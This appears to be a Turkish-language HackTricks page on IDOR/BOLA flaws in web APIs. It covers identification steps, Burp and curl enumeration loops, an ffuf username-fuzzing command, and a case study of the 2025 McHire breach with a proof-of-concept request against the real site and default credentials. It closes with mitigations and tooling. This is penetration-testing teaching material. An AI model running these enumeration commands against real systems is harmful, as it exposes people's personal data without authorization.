107 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı **doğrudan** iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını **doğrulamadan** kullanıldığı durumlarda ortaya çıkar.
Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalationa izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir.
---
## 1. Potansiyel IDOR'ları Belirleme
1. Bir nesneyi referans gösteren **parametrelere** bakın:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Veri **okuyan veya güncelleyen** (`GET`, `PUT`, `PATCH`, `DELETE`) uç noktalarını tercih edin.
3. Tanımlayıcıların **ardışık veya tahmin edilebilir** olup olmadığına dikkat edin ID'niz `64185742` ise muhtemelen `64185741` vardır.
4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* bağlantısı) keşfedin.
5. Bir **kimlik doğrulanmış düşük ayrıcalıklı oturum** kullanın ve sadece ID'yi değiştirip **aynı token/cookie**'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.
### Hızlı manuel müdahale (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Otomatik enumeration (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
### Error-response oracle for user/file enumeration
Bir download endpoint hem username hem de filename kabul ettiğinde (örn. `/view.php?username=<u>&file=<f>`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur:
- Var olmayan username → "Kullanıcı bulunamadı"
- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler)
- Hatalı extension → doğrulama hatası
Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar.
---
## 2. Gerçek Dünya Vaka Çalışması McHire Chatbot Platform (2025)
Paradox.ai-powered **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` 8 haneli, **sıralı** sayısal tanımlayıcı
lead_id'yi azaltarak test eden, rastgele başvuruların **full PII**'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici **JWT**'sini elde etti. `1 64,185,742` aralığının taranması yaklaşık **64 milyon** kaydıığa çıkardı.
Proof-of-Concept isteği:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı.
---
## 3. Impact of IDOR / BOLA
* Yatay yetki yükseltme **diğer kullanıcıların** verilerini oku/güncelle/sil.
* Dikey yetki yükseltme düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır.
* Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices).
* Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme.
---
## 4. Mitigations & Best Practices
1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`).
2. Otomatik artan ID'ler yerine **dolaylı, tahmin edilemez tanımlayıcıları** (UUIDv4, ULID) tercih edin.
3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
4. Merkezi bir middleware'de **RBAC / ABAC** kontrolleri uygulayın.
5. ID taramasını tespit etmek için **oran sınırlaması ve kayıt tutma** ekleyin.
6. Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST).
---
## 5. Tooling
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}